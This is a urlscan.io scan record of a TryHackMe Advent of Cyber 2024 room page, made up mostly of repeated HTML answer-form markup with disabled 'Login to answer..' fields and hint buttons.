tryhackme.com
Open in
urlscan Pro
172.67.27.10
Public Scan
URL:
https://tryhackme.com/r/room/adventofcyber2024?utm_source=customer.io&utm_medium=email&utm_campaign=aoc2024&utm_conten...
Submission: On December 05 via api from RU — Scanned from IT
Submission: On December 05 via api from RU — Scanned from IT
Form analysis
40 forms found in the DOM<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="1" name="1" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="1" name="1" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="2" name="2" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="3" name="3" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="4" name="4" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="5" name="5" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="6" name="6" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="7" name="7" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="8" name="8" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="1" name="1" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="1" name="1" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="1" name="1" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="1" name="1" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="1" name="1" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="2" name="2" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button><button color="hint" type="button" role="button" class="sc-kAyceB dtlBUx sc-beSSEr epJuEK"><svg
aria-hidden="true" focusable="false" data-prefix="far" data-icon="lightbulb" class="svg-inline--fa fa-lightbulb " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor"
d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM192 0C90.02 .3203 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.8 289.2 .0039 192 0zM288.4 260.1c-15.66 17.85-35.04 46.3-49.05 75.89h-94.61c-14.01-29.59-33.39-58.04-49.04-75.88C75.24 236.8 64 206.1 64 175.1C64 113.3 112.1 48.25 191.1 48C262.6 48 320 105.4 320 175.1C320 206.1 308.8 236.8 288.4 260.1zM176 80C131.9 80 96 115.9 96 160c0 8.844 7.156 16 16 16S128 168.8 128 160c0-26.47 21.53-48 48-48c8.844 0 16-7.148 16-15.99S184.8 80 176 80z">
</path>
</svg>Hint</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="3" name="3" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="4" name="4" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button><button color="hint" type="button" role="button" class="sc-kAyceB dtlBUx sc-beSSEr epJuEK"><svg
aria-hidden="true" focusable="false" data-prefix="far" data-icon="lightbulb" class="svg-inline--fa fa-lightbulb " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor"
d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM192 0C90.02 .3203 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.8 289.2 .0039 192 0zM288.4 260.1c-15.66 17.85-35.04 46.3-49.05 75.89h-94.61c-14.01-29.59-33.39-58.04-49.04-75.88C75.24 236.8 64 206.1 64 175.1C64 113.3 112.1 48.25 191.1 48C262.6 48 320 105.4 320 175.1C320 206.1 308.8 236.8 288.4 260.1zM176 80C131.9 80 96 115.9 96 160c0 8.844 7.156 16 16 16S128 168.8 128 160c0-26.47 21.53-48 48-48c8.844 0 16-7.148 16-15.99S184.8 80 176 80z">
</path>
</svg>Hint</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="5" name="5" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="6" name="6" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="1" name="1" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="2" name="2" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button><button color="hint" type="button" role="button" class="sc-kAyceB dtlBUx sc-beSSEr epJuEK"><svg
aria-hidden="true" focusable="false" data-prefix="far" data-icon="lightbulb" class="svg-inline--fa fa-lightbulb " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor"
d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM192 0C90.02 .3203 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.8 289.2 .0039 192 0zM288.4 260.1c-15.66 17.85-35.04 46.3-49.05 75.89h-94.61c-14.01-29.59-33.39-58.04-49.04-75.88C75.24 236.8 64 206.1 64 175.1C64 113.3 112.1 48.25 191.1 48C262.6 48 320 105.4 320 175.1C320 206.1 308.8 236.8 288.4 260.1zM176 80C131.9 80 96 115.9 96 160c0 8.844 7.156 16 16 16S128 168.8 128 160c0-26.47 21.53-48 48-48c8.844 0 16-7.148 16-15.99S184.8 80 176 80z">
</path>
</svg>Hint</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="3" name="3" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="4" name="4" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button><button color="hint" type="button" role="button" class="sc-kAyceB dtlBUx sc-beSSEr epJuEK"><svg
aria-hidden="true" focusable="false" data-prefix="far" data-icon="lightbulb" class="svg-inline--fa fa-lightbulb " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor"
d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM192 0C90.02 .3203 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.8 289.2 .0039 192 0zM288.4 260.1c-15.66 17.85-35.04 46.3-49.05 75.89h-94.61c-14.01-29.59-33.39-58.04-49.04-75.88C75.24 236.8 64 206.1 64 175.1C64 113.3 112.1 48.25 191.1 48C262.6 48 320 105.4 320 175.1C320 206.1 308.8 236.8 288.4 260.1zM176 80C131.9 80 96 115.9 96 160c0 8.844 7.156 16 16 16S128 168.8 128 160c0-26.47 21.53-48 48-48c8.844 0 16-7.148 16-15.99S184.8 80 176 80z">
</path>
</svg>Hint</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="5" name="5" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="6" name="6" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
<div class="sc-gEvEer sc-hCPjZK dUlYmO ipdJds"><input id="1" name="1" data-testid="answer-field" autocomplete="off" placeholder="Login to answer.." class="sc-bbSZdi jnxbY" value="" disabled=""></div>
</div>
</div>
<div data-sentry-element="StyledButtonsContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-ebnDkq iUSxdj"><button color="add" type="submit" role="button" data-sentry-element="StyledButton"
data-sentry-source-file="question-and-answer-item.tsx" class="sc-kAyceB bWrVDc sc-beSSEr sc-iOjliw epJuEK iwatXM">Login to answer..</button><button color="hint" type="button" role="button" class="sc-kAyceB dtlBUx sc-beSSEr epJuEK"><svg
aria-hidden="true" focusable="false" data-prefix="far" data-icon="lightbulb" class="svg-inline--fa fa-lightbulb " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512">
<path fill="currentColor"
d="M112.1 454.3c0 6.297 1.816 12.44 5.284 17.69l17.14 25.69c5.25 7.875 17.17 14.28 26.64 14.28h61.67c9.438 0 21.36-6.401 26.61-14.28l17.08-25.68c2.938-4.438 5.348-12.37 5.348-17.7L272 415.1h-160L112.1 454.3zM192 0C90.02 .3203 16 82.97 16 175.1c0 44.38 16.44 84.84 43.56 115.8c16.53 18.84 42.34 58.23 52.22 91.45c.0313 .25 .0938 .5166 .125 .7823h160.2c.0313-.2656 .0938-.5166 .125-.7823c9.875-33.22 35.69-72.61 52.22-91.45C351.6 260.8 368 220.4 368 175.1C368 78.8 289.2 .0039 192 0zM288.4 260.1c-15.66 17.85-35.04 46.3-49.05 75.89h-94.61c-14.01-29.59-33.39-58.04-49.04-75.88C75.24 236.8 64 206.1 64 175.1C64 113.3 112.1 48.25 191.1 48C262.6 48 320 105.4 320 175.1C320 206.1 308.8 236.8 288.4 260.1zM176 80C131.9 80 96 115.9 96 160c0 8.844 7.156 16 16 16S128 168.8 128 160c0-26.47 21.53-48 48-48c8.844 0 16-7.148 16-15.99S184.8 80 176 80z">
</path>
</svg>Hint</button></div>
</form>
<form data-sentry-element="StyledForm" data-sentry-source-file="question-and-answer-item.tsx" class="sc-kBpyjw xLYZN">
<div data-sentry-element="StyledTextfieldContainer" data-sentry-source-file="question-and-answer-item.tsx" class="sc-hEUNDx duKYkS">
<div class="sc-kYxDKI iaxtnO">
